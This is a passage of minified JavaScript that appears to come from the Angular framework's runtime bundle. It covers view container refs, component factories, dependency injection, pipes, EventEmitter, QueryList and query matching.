i=Uf(this.viewDefFactory),o=i.nodes[0].element.componentProvider.nodeIndex,s=bf.createRootView(t,e||[],n,i,r,fg),a=ff(s,o).instance;return n&&s.renderer.setAttribute(pf(s,0).renderElement,"ng-version",yp.full),new bg(s,new wg(s),a)}}class bg extends Qh{constructor(t,e,n){super(),this._view=t,this._viewRef=e,this._component=n,this._elDef=this._view.def.nodes[0],this.hostView=e,this.changeDetectorRef=e,this.instance=n}get location(){return new cp(pf(this._view,this._elDef.nodeIndex).renderElement)}get injector(){return new Mg(this._view,this._elDef)}get componentType(){return this._component.constructor}destroy(){this._viewRef.destroy()}onDestroy(t){this._viewRef.onDestroy(t)}}function vg(t,e,n){return new _g(t,e,n)}class _g{constructor(t,e,n){this._view=t,this._elDef=e,this._data=n,this._embeddedViews=[]}get element(){return new cp(this._data.renderElement)}get injector(){return new Mg(this._view,this._elDef)}get parentInjector(){let t=this._view,e=this._elDef.parent;for(;!e&&t;)e=Nf(t),t=t.parent;return t?new Mg(t,e):new Mg(this._view,null)}clear(){for(let t=this._embeddedViews.length-1;t>=0;t--){const e=dg(this._data,t);bf.destroyView(e)}}get(t){const e=this._embeddedViews[t];if(e){const t=new wg(e);return t.attachToViewContainerRef(this),t}return null}get length(){return this._embeddedViews.length}createEmbeddedView(t,e,n){const r=t.createEmbeddedView(e||{});return this.insert(r,n),r}createComponent(t,e,n,r,i){const o=n||this.parentInjector;!i&&!(t instanceof np)&&(i=o.get(Qp));const s=t.create(o,r,void 0,i);return this.insert(s.hostView,e),s}insert(t,e){if(t.destroyed)throw new Error("Cannot insert a destroyed View in a ViewContainer!");const n=t;return function(t,e,n,r){let i=e.viewContainer._embeddedViews;null==n&&(n=i.length),r.viewContainerParent=t,Kn(i,n,r),function(t,e){const n=Df(e);if(!n||n===t||16&e.state)return;e.state|=16;let r=n.template._projectedViews;r||(r=n.template._projectedViews=[]),r.push(e),function(t,e){if(4&e.flags)return;t.nodeFlags|=4,e.flags|=4;let n=e.parent;for(;n;)n.childFlags|=4,n=n.parent}(e.parent.def,e.parentNodeDef)}(e,r),bf.dirtyParentQueries(r),hg(e,n>0?i[n-1]:null,r)}(this._view,this._data,e,n._view),n.attachToViewContainerRef(this),t}move(t,e){if(t.destroyed)throw new Error("Cannot move a destroyed View in a ViewContainer!");const n=this._embeddedViews.indexOf(t._view);return function(t,e,n){const r=t.viewContainer._embeddedViews,i=r[e];$n(r,e),null==n&&(n=r.length),Kn(r,n,i),bf.dirtyParentQueries(i),pg(i),hg(t,n>0?r[n-1]:null,i)}(this._data,n,e),t}indexOf(t){return this._embeddedViews.indexOf(t._view)}remove(t){const e=dg(this._data,t);e&&bf.destroyView(e)}detach(t){const e=dg(this._data,t);return e?new wg(e):null}}function Cg(t){return new wg(t)}class wg{constructor(t){this._view=t,this._viewContainerRef=null,this._appRef=null}get rootNodes(){return function(t){const e=[];return qf(t,0,void 0,void 0,e),e}(this._view)}get context(){return this._view.context}set context(t){this._view.context=t}get destroyed(){return 0!=(128&this._view.state)}markForCheck(){If(this._view)}detach(){this._view.state&=-5}detectChanges(){const t=this._view.root.rendererFactory;t.begin&&t.begin();try{bf.checkAndUpdateView(this._view)}finally{t.end&&t.end()}}checkNoChanges(){bf.checkNoChangesView(this._view)}reattach(){this._view.state|=4}onDestroy(t){this._view.disposables||(this._view.disposables=[]),this._view.disposables.push(t)}destroy(){this._appRef?this._appRef.detachView(this):this._viewContainerRef&&this._viewContainerRef.detach(this._viewContainerRef.indexOf(this)),bf.destroyView(this._view)}detachFromAppRef(){this._appRef=null,pg(this._view),bf.dirtyParentQueries(this._view)}attachToAppRef(t){if(this._viewContainerRef)throw new Error("This view is already attached to a ViewContainer!");this._appRef=t}attachToViewContainerRef(t){if(this._appRef)throw new Error("This view is already attached directly to the ApplicationRef!");this._viewContainerRef=t}}function xg(t,e){return new Pg(t,e)}class Pg extends Up{constructor(t,e){super(),this._parentView=t,this._def=e}createEmbeddedView(t){return new wg(bf.createEmbeddedView(this._parentView,this._def,this._def.element.template,t))}get elementRef(){return new cp(pf(this._parentView,this._def.nodeIndex).renderElement)}}function Sg(t,e){return new Mg(t,e)}class Mg{constructor(t,e){this.view=t,this.elDef=e}get(t,e=Fa.THROW_IF_NOT_FOUND){return bf.resolveDep(this.view,this.elDef,!!this.elDef&&0!=(33554432&this.elDef.flags),{flags:0,token:t,tokenKey:Cf(t)},e)}}function Og(t,e){const n=t.def.nodes[e];if(1&n.flags){const e=pf(t,n.nodeIndex);return n.element.template?e.template:e.renderElement}if(2&n.flags)return hf(t,n.nodeIndex).renderText;if(20240&n.flags)return ff(t,n.nodeIndex).instance;throw new Error(`Illegal state: read nodeValue for node index ${e}`)}function Eg(t,e,n,r){return new Tg(t,e,n,r)}class Tg{constructor(t,e,n,r){this._moduleType=t,this._parent=e,this._bootstrapComponents=n,this._def=r,this._destroyListeners=[],this._destroyed=!1,this.injector=this,function(t){const e=t._def,n=t._providers=Qn(e.providers.length);for(let r=0;r<e.providers.length;r++){const i=e.providers[r];4096&i.flags||void 0===n[r]&&(n[r]=ug(t,i))}}(this)}get(t,e=Fa.THROW_IF_NOT_FOUND,n=D.Default){let r=0;return n&D.SkipSelf?r|=1:n&D.Self&&(r|=4),lg(this,{token:t,tokenKey:Cf(t),flags:r},e)}get instance(){return this.get(this._moduleType)}get componentFactoryResolver(){return this.get(tp)}destroy(){if(this._destroyed)throw new Error(`The ng module ${h(this.instance.constructor)} has already been destroyed.`);this._destroyed=!0,function(t,e){const n=t._def,r=new Set;for(let i=0;i<n.providers.length;i++)if(131072&n.providers[i].flags){const e=t._providers[i];if(e&&e!==rg){const t=e.ngOnDestroy;"function"==typeof t&&!r.has(e)&&(t.apply(e),r.add(e))}}}(this),this._destroyListeners.forEach(t=>t())}onDestroy(t){this._destroyListeners.push(t)}}const Ig=Cf(dp),kg=Cf(cp),Ag=Cf(Jp),Dg=Cf(Up),Ng=Cf(jp),Rg=Cf(Fa),Lg=Cf(Ca);function jg(t,e,n,r,i,o,s,a){const c=[];if(s)for(let u in s){const[t,e]=s[u];c[t]={flags:8,name:u,nonMinifiedName:e,ns:null,securityContext:null,suffix:null}}const l=[];if(a)for(let u in a)l.push({type:1,propName:u,target:null,eventName:a[u]});return Bg(t,e|=16384,n,r,i,i,o,c,l)}function Fg(t,e,n){return Bg(-1,t|=16,null,0,e,e,n)}function Vg(t,e,n,r,i){return Bg(-1,t,e,0,n,r,i)}function Bg(t,e,n,r,i,o,s,a,c){const{matchedQueries:l,references:u,matchedQueryIds:d}=Bf(n);c||(c=[]),a||(a=[]),o=m(o);const p=Hf(s,h(i));return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:t,flags:e,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:l,matchedQueryIds:d,references:u,ngContentIndex:-1,childCount:r,bindings:a,bindingFlags:Yf(a),outputs:c,element:null,provider:{token:i,value:o,deps:p},text:null,query:null,ngContent:null}}function Hg(t,e){return qg(t,e)}function zg(t,e){let n=t;for(;n.parent&&!jf(n);)n=n.parent;return Wg(n.parent,Nf(n),!0,e.provider.value,e.provider.deps)}function Gg(t,e){const n=Wg(t,e.parent,(32768&e.flags)>0,e.provider.value,e.provider.deps);if(e.outputs.length)for(let r=0;r<e.outputs.length;r++){const i=e.outputs[r],o=n[i.propName];if(!Bl(o))throw new Error(`@Output ${i.propName} not initialized in '${n.constructor.name}'.`);{const n=o.subscribe(Ug(t,e.parent.nodeIndex,i.eventName));t.disposables[e.outputIndex+r]=n.unsubscribe.bind(n)}}return n}function Ug(t,e,n){return r=>Af(t,e,n,r)}function qg(t,e){const n=(8192&e.flags)>0,r=e.provider;switch(201347067&e.flags){case 512:return Wg(t,e.parent,n,r.value,r.deps);case 1024:return function(t,e,n,r,i){const o=i.length;switch(o){case 0:return r();case 1:return r($g(t,e,n,i[0]));case 2:return r($g(t,e,n,i[0]),$g(t,e,n,i[1]));case 3:return r($g(t,e,n,i[0]),$g(t,e,n,i[1]),$g(t,e,n,i[2]));default:const s=[];for(let r=0;r<o;r++)s.push($g(t,e,n,i[r]));return r(...s)}}(t,e.parent,n,r.value,r.deps);case 2048:return $g(t,e.parent,n,r.deps[0]);case 256:return r.value}}function Wg(t,e,n,r,i){const o=i.length;switch(o){case 0:return new r;case 1:return new r($g(t,e,n,i[0]));case 2:return new r($g(t,e,n,i[0]),$g(t,e,n,i[1]));case 3:return new r($g(t,e,n,i[0]),$g(t,e,n,i[1]),$g(t,e,n,i[2]));default:const s=[];for(let r=0;r<o;r++)s.push($g(t,e,n,i[r]));return new r(...s)}}const Kg={};function $g(t,e,n,r,i=Fa.THROW_IF_NOT_FOUND){if(8&r.flags)return r.token;const o=t;2&r.flags&&(i=null);const s=r.tokenKey;s===Ng&&(n=!(!e||!e.element.componentView)),e&&1&r.flags&&(n=!1,e=e.parent);let a=t;for(;a;){if(e)switch(s){case Ig:return Qg(a,e,n).renderer;case kg:return new cp(pf(a,e.nodeIndex).renderElement);case Ag:return pf(a,e.nodeIndex).viewContainer;case Dg:if(e.element.template)return pf(a,e.nodeIndex).template;break;case Ng:return Cg(Qg(a,e,n));case Rg:case Lg:return Sg(a,e);default:const t=(n?e.element.allProviders:e.element.publicProviders)[s];if(t){let e=ff(a,t.nodeIndex);return e||(e={instance:qg(a,t)},a.nodes[t.nodeIndex]=e),e.instance}}n=jf(a),e=Nf(a),a=a.parent,4&r.flags&&(a=null)}const c=o.root.injector.get(r.token,Kg);return c!==Kg||i===Kg?c:o.root.ngModule.injector.get(r.token,i)}function Qg(t,e,n){let r;if(n)r=pf(t,e.nodeIndex).componentView;else for(r=t;r.parent&&!jf(r);)r=r.parent;return r}function Xg(t,e,n,r,i,o){if(32768&n.flags){const e=pf(t,n.parent.nodeIndex).componentView;2&e.def.flags&&(e.state|=8)}if(e.instance[n.bindings[r].name]=i,524288&n.flags){o=o||{};const e=vc.unwrap(t.oldValues[n.bindingIndex+r]);o[n.bindings[r].nonMinifiedName]=new St(e,i,0!=(2&t.state))}return t.oldValues[n.bindingIndex+r]=i,o}function Zg(t,e){if(!(t.def.nodeFlags&e))return;const n=t.def.nodes;let r=0;for(let i=0;i<n.length;i++){const o=n[i];let s=o.parent;for(!s&&o.flags&e&&Jg(t,i,o.flags&e,r++),0==(o.childFlags&e)&&(i+=o.childCount);s&&1&s.flags&&i===s.nodeIndex+s.childCount;)s.directChildFlags&e&&(r=Yg(t,s,e,r)),s=s.parent}}function Yg(t,e,n,r){for(let i=e.nodeIndex+1;i<=e.nodeIndex+e.childCount;i++){const e=t.def.nodes[i];e.flags&n&&Jg(t,i,e.flags&n,r++),i+=e.childCount}return r}function Jg(t,e,n,r){const i=ff(t,e);if(!i)return;const o=i.instance;!o||(bf.setCurrentNode(t,e),1048576&n&&df(t,512,r)&&o.ngAfterContentInit(),2097152&n&&o.ngAfterContentChecked(),4194304&n&&df(t,768,r)&&o.ngAfterViewInit(),8388608&n&&o.ngAfterViewChecked(),131072&n&&o.ngOnDestroy())}class tm extends tp{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const e=pt(t);return new rm(e,this.ngModule)}}function em(t){const e=[];for(let n in t)t.hasOwnProperty(n)&&e.push({propName:t[n],templateName:n});return e}const nm=new Nn("SCHEDULER_TOKEN",{providedIn:"root",factory:()=>fo});class rm extends Xh{constructor(t,e){super(),this.componentDef=t,this.ngModule=e,this.componentType=t.type,this.selector=t.selectors.map(fs).join(","),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!e}get inputs(){return em(this.componentDef.inputs)}get outputs(){return em(this.componentDef.outputs)}create(t,e,n,r){const i=(r=r||this.ngModule)?function(t,e){return{get:(n,r,i)=>{const o=t.get(n,Kg,i);return o!==Kg||r===Kg?o:e.get(n,r,i)}}}(t,r.injector):t,o=i.get(up,Ht),s=i.get(gp,null),a=o.createRenderer(null,this.componentDef),c=this.componentDef.selectors[0][0]||"div",l=n?Vs(a,n,this.componentDef.encapsulation):ko(o.createRenderer(null,this.componentDef),c,function(t){const e=t.toLowerCase();return"svg"===e?Rt:"math"===e?Lt:null}(c)),u=this.componentDef.onPush?576:528,d=ic(),h=Fs(0,null,null,1,0,null,null,null,null,null),p=Ms(null,h,d,u,null,null,o,a,s,i);let f,g;Oe(p);try{const t=nc(l,this.componentDef,p,o,a);if(l)if(n)Ke(a,l,["ng-version",yp.full]);else{const{attrs:t,classes:e}=function(t){const e=[],n=[];let r=1,i=2;for(;r<t.length;){let o=t[r];if("string"==typeof o)2===i?""!==o&&e.push(o,t[++r]):8===i&&n.push(o);else{if(!ls(i))break;i=o}r++}return{attrs:e,classes:n}}(this.componentDef.selectors[0]);t&&Ke(a,l,t),e&&e.length>0&&ns(a,l,e.join(" "))}if(g=qt(h,20),void 0!==e){const t=g.projection=[];for(let n=0;n<this.ngContentSelectors.length;n++){const r=e[n];t.push(null!=r?Array.from(r):null)}}f=rc(t,this.componentDef,p,d,[oc]),Is(h,p,null)}finally{Ae()}return new im(this.componentType,f,op(g,p),p,g)}}class im extends Qh{constructor(t,e,n,r,i){super(),this.location=n,this._rootLView=r,this._tNode=i,this.instance=e,this.hostView=this.changeDetectorRef=new Np(r),this.componentType=t}get injector(){return new Cn(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}function om(t,e,n,r){return F(()=>{const i=t;null!==e&&(i.hasOwnProperty("decorators")&&void 0!==i.decorators?i.decorators.push(...e):i.decorators=e),null!==n&&(i.ctorParameters=n),null!==r&&(i.propDecorators=i.hasOwnProperty("propDecorators")&&void 0!==i.propDecorators?Object.assign(Object.assign({},i.propDecorators),r):r)})}const sm=new Map;function am(t,e){const n=sm.get(t);cm(t,n&&n.moduleType,e.moduleType),sm.set(t,e)}function cm(t,e,n){if(e&&e!==n)throw new Error(`Duplicate module registered for ${t} - ${h(e)} vs ${h(e.name)}`)}function lm(t){const e=new Set;!function t(n){const r=mt(n,!0),i=r.id;if(null!==i){cm(i,sm.get(i),n),sm.set(i,n)}const o=bo(r.imports);for(const s of o)e.has(s)||(e.add(s),t(s))}(t)}function um(t){return sm.get(t)||at[t]}class dm extends Qp{constructor(t,e){super(),this._parent=e,this._bootstrapComponents=[],this.injector=this,this.destroyCbs=[],this.componentFactoryResolver=new tm(this);const n=mt(t),r=t[J]||null;r&&jd(r),this._bootstrapComponents=bo(n.bootstrap),this._r3Injector=Ta(t,e,[{provide:Qp,useValue:this},{provide:tp,useValue:this.componentFactoryResolver}],h(t)),this._r3Injector._resolveInjectorDefTypes(),this.instance=this.get(t)}get(t,e=Fa.THROW_IF_NOT_FOUND,n=D.Default){return t===Fa||t===Qp||t===Ca?this:this._r3Injector.get(t,e,n)}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(t=>t()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class hm extends Xp{constructor(t){super(),this.moduleType=t,null!==mt(t)&&lm(t)}create(t){return new dm(this.moduleType,t)}}function pm(t,e,n){const r=fe()+t,i=re();return i[r]===gs?wc(i,r,n?e.call(n):e()):xc(i,r)}function fm(t,e,n,r){return Pm(re(),fe(),t,e,n,r)}function gm(t,e,n,r,i){return Sm(re(),fe(),t,e,n,r,i)}function mm(t,e,n,r,i,o){return Mm(re(),fe(),t,e,n,r,i,o)}function ym(t,e,n,r,i,o,s){return Om(re(),fe(),t,e,n,r,i,o,s)}function bm(t,e,n,r,i,o,s,a){const c=fe()+t,l=re(),u=Oc(l,c,n,r,i,o);return Pc(l,c+4,s)||u?wc(l,c+5,a?e.call(a,n,r,i,o,s):e(n,r,i,o,s)):xc(l,c+5)}function vm(t,e,n,r,i,o,s,a,c){const l=fe()+t,u=re(),d=Oc(u,l,n,r,i,o);return Sc(u,l+4,s,a)||d?wc(u,l+6,c?e.call(c,n,r,i,o,s,a):e(n,r,i,o,s,a)):xc(u,l+6)}function _m(t,e,n,r,i,o,s,a,c,l){const u=fe()+t,d=re();let h=Oc(d,u,n,r,i,o);return Mc(d,u+4,s,a,c)||h?wc(d,u+7,l?e.call(l,n,r,i,o,s,a,c):e(n,r,i,o,s,a,c)):xc(d,u+7)}function Cm(t,e,n,r,i,o,s,a,c,l,u){const d=fe()+t,h=re(),p=Oc(h,d,n,r,i,o);return Oc(h,d+4,s,a,c,l)||p?wc(h,d+8,u?e.call(u,n,r,i,o,s,a,c,l):e(n,r,i,o,s,a,c,l)):xc(h,d+8)}function wm(t,e,n,r){return Em(re(),fe(),t,e,n,r)}function xm(t,e){const n=t[e];return n===gs?void 0:n}function Pm(t,e,n,r,i,o){const s=e+n;return Pc(t,s,i)?wc(t,s+1,o?r.call(o,i):r(i)):xm(t,s+1)}function Sm(t,e,n,r,i,o,s){const a=e+n;return Sc(t,a,i,o)?wc(t,a+2,s?r.call(s,i,o):r(i,o)):xm(t,a+2)}function Mm(t,e,n,r,i,o,s,a){const c=e+n;return Mc(t,c,i,o,s)?wc(t,c+3,a?r.call(a,i,o,s):r(i,o,s)):xm(t,c+3)}function Om(t,e,n,r,i,o,s,a,c){const l=e+n;return Oc(t,l,i,o,s,a)?wc(t,l+4,c?r.call(c,i,o,s,a):r(i,o,s,a)):xm(t,l+4)}function Em(t,e,n,r,i,o){let s=e+n,a=!1;for(let c=0;c<i.length;c++)Pc(t,s++,i[c])&&(a=!0);return a?wc(t,s,r.apply(o,i)):xm(t,s)}function Tm(t,e){const n=ie();let r;const i=t+20;n.firstCreatePass?(r=function(t,e){if(e)for(let n=e.length-1;n>=0;n--){const r=e[n];if(t===r.name)return r}throw new b("302",`The pipe '${t}' could not be found!`)}(e,n.pipeRegistry),n.data[i]=r,r.onDestroy&&(n.destroyHooks||(n.destroyHooks=[])).push(i,r.onDestroy)):r=n.data[i];const o=r.factory||(r.factory=Pt(r.type)),s=L(Ol);try{const t=nn(!1),e=o();return nn(t),$c(n,re(),i,e),e}finally{L(s)}}function Im(t,e,n){const r=t+20,i=re(),o=Wt(i,r);return Lm(i,Rm(i,r)?Pm(i,fe(),e,o.transform,n,o):o.transform(n))}function km(t,e,n,r){const i=t+20,o=re(),s=Wt(o,i);return Lm(o,Rm(o,i)?Sm(o,fe(),e,s.transform,n,r,s):s.transform(n,r))}function Am(t,e,n,r,i){const o=t+20,s=re(),a=Wt(s,o);return Lm(s,Rm(s,o)?Mm(s,fe(),e,a.transform,n,r,i,a):a.transform(n,r,i))}function Dm(t,e,n,r,i,o){const s=t+20,a=re(),c=Wt(a,s);return Lm(a,Rm(a,s)?Om(a,fe(),e,c.transform,n,r,i,o,c):c.transform(n,r,i,o))}function Nm(t,e,n){const r=t+20,i=re(),o=Wt(i,r);return Lm(i,Rm(i,r)?Em(i,fe(),e,o.transform,n,o):o.transform.apply(o,n))}function Rm(t,e){return t[1].data[e].pure}function Lm(t,e){return vc.isWrapped(e)&&(e=vc.unwrap(e),t[ge()]=gs),e}function jm(t){return e=>{setTimeout(t,void 0,e)}}const Fm=class extends r.xQ{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,e,n){var r,o,s;let a=t,c=e||(()=>null),l=n;if(t&&"object"==typeof t){const e=t;a=null===(r=e.next)||void 0===r?void 0:r.bind(e),c=null===(o=e.error)||void 0===o?void 0:o.bind(e),l=null===(s=e.complete)||void 0===s?void 0:s.bind(e)}this.__isAsync&&(c=jm(c),a&&(a=jm(a)),l&&(l=jm(l)));const u=super.subscribe({next:a,error:c,complete:l});return t instanceof i.w&&t.add(u),u}};function Vm(){return this._results[yc()]()}class Bm{constructor(t=!1){this._emitDistinctChangesOnly=t,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;const e=yc(),n=Bm.prototype;n[e]||(n[e]=Vm)}get changes(){return this._changes||(this._changes=new Fm)}get(t){return this._results[t]}map(t){return this._results.map(t)}filter(t){return this._results.filter(t)}find(t){return this._results.find(t)}reduce(t,e){return this._results.reduce(t,e)}forEach(t){this._results.forEach(t)}some(t){return this._results.some(t)}toArray(){return this._results.slice()}toString(){return this._results.toString()}reset(t,e){const n=this;n.dirty=!1;const r=qn(t);(this._changesDetected=!function(t,e,n){if(t.length!==e.length)return!1;for(let r=0;r<t.length;r++){let i=t[r],o=e[r];if(n&&(i=n(i),o=n(o)),o!==i)return!1}return!0}(n._results,r,e))&&(n._results=r,n.length=r.length,n.last=r[this.length-1],n.first=r[0])}notifyOnChanges(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}setDirty(){this.dirty=!0}destroy(){this.changes.complete(),this.changes.unsubscribe()}}Symbol;class Hm{constructor(t){this.queryList=t,this.matches=null}clone(){return new Hm(this.queryList)}setDirty(){this.queryList.setDirty()}}class zm{constructor(t=[]){this.queries=t}createEmbeddedView(t){const e=t.queries;if(null!==e){const n=null!==t.contentQueries?t.contentQueries[0]:e.length,r=[];for(let t=0;t<n;t++){const n=e.getByIndex(t);r.push(this.queries[n.indexInDeclarationView].clone())}return new zm(r)}return null}insertView(t){this.dirtyQueriesWithMatches(t)}detachView(t){this.dirtyQueriesWithMatches(t)}dirtyQueriesWithMatches(t){for(let e=0;e<this.queries.length;e++)null!==ny(t,e).matches&&this.queries[e].setDirty()}}class Gm{constructor(t,e,n=null){this.predicate=t,this.flags=e,this.read=n}}class Um{constructor(t=[]){this.queries=t}elementStart(t,e){for(let n=0;n<this.queries.length;n++)this.queries[n].elementStart(t,e)}elementEnd(t){for(let e=0;e<this.queries.length;e++)this.queries[e].elementEnd(t)}embeddedTView(t){let e=null;for(let n=0;n<this.length;n++){const r=null!==e?e.length:0,i=this.getByIndex(n).embeddedTView(t,r);i&&(i.indexInDeclarationView=n,null!==e?e.push(i):e=[i])}return null!==e?new Um(e):null}template(t,e){for(let n=0;n<this.queries.length;n++)this.queries[n].template(t,e)}getByIndex(t){return this.queries[t]}get length(){return this.queries.length}track(t){this.queries.push(t)}}class qm{constructor(t,e=-1){this.metadata=t,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=e}elementStart(t,e){this.isApplyingToNode(e)&&this.matchTNode(t,e)}elementEnd(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}template(t,e){this.elementStart(t,e)}embeddedTView(t,e){return this.isApplyingToNode(t)?(this.crossesNgTemplate=!0,this.addMatch(-t.index,e),new qm(this.metadata)):null}isApplyingToNode(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){const e=this._declarationNodeIndex;let n=t.parent;for(;null!==n&&8&n.type&&n.index!==e;)n=n.parent;return e===(null!==n?n.index:-1)}return this._appliesToNextNode}matchTNode(t,e){const n=this.metadata.predicate;if(Array.isArray(n))for(let r=0;r<n.length;r++){const i=n[r];this.matchTNodeWithReadOption(t,e,Wm(e,i)),this.matchTNodeWithReadOption(t,e,yn(e,t,i,!1,!1))}else n===Up?4&e.type&&this.matchTNodeWithReadOption(t,e,-1):this.matchTNodeWithReadOption(t,e,yn(e,t,n,!1,!1))}matchTNodeWithReadOption(t,e,n){if(null!==n){const r=this.metadata.read;if(null!==r)if(r===cp||r===Jp||r===Up&&4&e.type)this.addMatch(e.index,-2);else{const n=yn(e,t,r,!1,!1);null!==n&&this.addMatch(e.index,n)}else this.addMatch(e.index,n)}}addMatch(t,e){null===this.matches?this.matches=[t,e]:this.matches.push(t,e)}}function Wm(t,e){const n=t.localNames;if(null!==n)for(let r=0;r<n.length;r+=2)if(n[r]===e)return n[r+1];return null}function Km(t,e,n,r){return-1===n?function(t,e){return 11&t.type?op(t,e):4&t.type?$p(t,e):null}(e,t):-2===n?function(t,e,n){return n===cp?op(e,t):n===Up?$p(e,t):n===Jp?sf(e,t):void 0}(t,e,r):bn(t,t[1],n,e)}function $m(t,e,n,r){const i=e[19].queries[r];if(null===i.matches){const r=t.data,o=n.matches,s=[];for(let t=0;t<o.length;t+=2){const i=o[t];s.push(i<0?null:Km(e,r[i],o[t+1],n.metadata.read))}i.matches=s}return i.matches}function Qm(t,e,n,r){const i=t.queries.getByIndex(n),o=i.matches;if(null!==o){const s=$m(t,e,i,n);for(let t=0;t<o.length;t+=2){const n=o[t];if(n>0)r.push(s[t/2]);else{const i=o[t+1],s=e[-n];for(let t=10;t<s.length;t++){const e=s[t];e[17]===e[3]&&Qm(e[1],e,i,r)}if(null!==s[9]){const t=s[9];for(let e=0;e<t.length;e++){const n=t[e];Qm(n[1],n,i,r)}}}}}return r}function Xm(t){const e=re(),n=ie(),r=xe();Pe(r+1);const i=ny(n,r);if(t.dirty&&$t(e)===(2==(2&i.metadata.flags))){if(null===i.matches)t.reset([]);else{const o=i.crossesNgTemplate?Qm(n,e,r,[]):$m(n,e,i,r);t.reset(o,lp),t.notifyOnChanges()}return!0}return!1}function Zm(t,e,n){const r=ie();r.firstCreatePass&&(ey(r,new Gm(t,e,n),-1),2==(2&e)&&(r.staticViewQueries=!0)),ty(r,re(),e)}function Ym(t,e,n,r){const i=ie();if(i.firstCreatePass){const o=se();ey(i,new Gm(e,n,r),o.index),function(t,e){const n=t.contentQueries||(t.contentQueries=[]);e!==(n.length?n[n.length-1]:-1)&&n.push(t.queries.length-1,e)}(i,t),2==(2&n)&&(i.staticContentQueries=!0)}ty(i,re(),n)}function Jm(){return t=re(),e=xe(),t[19].queries[e].queryList;var t,e}function ty(t,e,n){const r=new Bm(4==(4&n));Bs(t,e,r,r.destroy),null===e[19]&&(e[19]=new zm),e[19].queries.push(new Hm(r))}function ey(t,e,n){null===t.queries&&(t.queries=new Um),t.queries.track(new qm(e,n))}function ny(t,e){return t.queries.getByIndex(e)}function ry(t,e){return $p(t,e)}const iy=(()=>({"\u0275\u0275attribute":Ec,"\u0275\u0275attributeInterpolate1":Fc,"\u0275\u0275attributeInterpolate2":Vc,"\u0275\u0275attributeInterpolate3":Bc,"\u0275\u0275attributeInterpolate4":Hc,"\u0275\u0275attributeInterpolate5":zc,"\u0275\u0275attributeInterpolate6":Gc,"\u0275\u0275attributeInterpolate7":Uc,"\u0275\u0275attributeInterpolate8":qc,"\u0275\u0275attributeInterpolateV":Wc,"\u0275\u0275defineComponent":rt,"\u0275\u0275defineDirective":dt,"\u0275\u0275defineInjectable":x,"\u0275\u0275defineInjector":S,"\u0275\u0275defineNgModule":ct,"\u0275\u0275definePipe":ht,"\u0275\u0275directiveInject":Ol,"\u0275\u0275getInheritedFactory":wn,"\u0275\u0275inject":gr,"\u0275\u0275injectAttribute":Pn,"\u0275\u0275invalidFactory":El,"\u0275\u0275invalidFactoryDep":mr,"\u0275\u0275templateRefExtractor":ry,"\u0275\u0275NgOnChangesFeature":Mt,"\u0275\u0275ProvidersFeature":$h,"\u0275\u0275CopyDefinitionFeature":gc,"\u0275\u0275InheritDefinitionFeature":cc,"\u0275\u0275nextContext":Wl,"\u0275\u0275namespaceHTML":Ve,"\u0275\u0275namespaceMathML":Fe,"\u0275\u0275namespaceSVG":je,"\u0275\u0275enableBindings":ee,"\u0275\u0275disableBindings":ne,"\u0275\u0275elementStart":kl,"\u0275\u0275elementEnd":Al,"\u0275\u0275element":Dl,"\u0275\u0275elementContainerStart":Nl,"\u0275\u0275elementContainerEnd":Rl,"\u0275\u0275elementContainer":Ll,"\u0275\u0275pureFunction0":pm,"\u0275\u0275pureFunction1":fm,"\u0275\u0275pureFunction2":gm,"\u0275\u0275pureFunction3":mm,"\u0275\u0275pureFunction4":ym,"\u0275\u0275pureFunction5":bm,"\u0275\u0275pureFunction6":vm,"\u0275\u0275pureFunction7":_m,"\u0275\u0275pureFunction8":Cm,"\u0275\u0275pureFunctionV":wm,"\u0275\u0275getCurrentView":jl,"\u0275\u0275restoreView":oe,"\u0275\u0275listener":Hl,"\u0275\u0275projection":Ql,"\u0275\u0275syntheticHostProperty":vd,"\u0275\u0275syntheticHostListener":zl,"\u0275\u0275pipeBind1":Im,"\u0275\u0275pipeBind2":km,"\u0275\u0275pipeBind3":Am,"\u0275\u0275pipeBind4":Dm,"\u0275\u0275pipeBindV":Nm,"\u0275\u0275projectionDef":$l,"\u0275\u0275hostProperty":bd,"\u0275\u0275property":Tl,"\u0275\u0275propertyInterpolate":Xl,"\u0275\u0275propertyInterpolate1":Zl,"\u0275\u0275propertyInterpolate2":Yl,"\u0275\u0275propertyInterpolate3":Jl,"\u0275\u0275propertyInterpolate4":tu,"\u0275\u0275propertyInterpolate5":eu,"\u0275\u0275propertyInterpolate6":nu,"\u0275\u0275propertyInterpolate7":ru,"\u0275\u0275propertyInterpolate8":iu,"\u0275\u0275propertyInterpolateV":ou,"\u0275\u0275pipe":Tm,"\u0275\u0275queryRefresh":Xm,"\u0275\u0275viewQuery":Zm,"\u0275\u0275loadQuery":Jm,"\u0275\u0275contentQuery":Ym,"\u0275\u0275reference":Qc,"\u0275\u0275classMap":Cu,"\u0275\u0275classMapInterpolate1":qu,"\u0275\u0275classMapInterpolate2":Wu,"\u0275\u0275classMapInterpolate3":Ku,"\u0275\u0275classMapInterpolate4":$u,"\u0275\u0275classMapInterpolate5":Qu,"\u0275\u0275classMapInterpolate6":Xu,"\u0275\u0275classMapInterpolate7":Zu,"\u0275\u0275classMapInterpolate8":Yu,"\u0275\u0275classMapInterpolateV":Ju,"\u0275\u0275styleMap":vu,"\u0275\u0275styleMapInterpolate1":td,"\u0275\u0275styleMapInterpolate2":ed,"\u0275\u0275styleMapInterpolate3":nd,"\u0275\u0275styleMapInterpolate4":rd,"\u0275\u0275styleMapInterpolate5":id,"\u0275\u0275styleMapInterpolate6":od,"\u0275\u0275styleMapInterpolate7":sd,"\u0275\u0275styleMapInterpola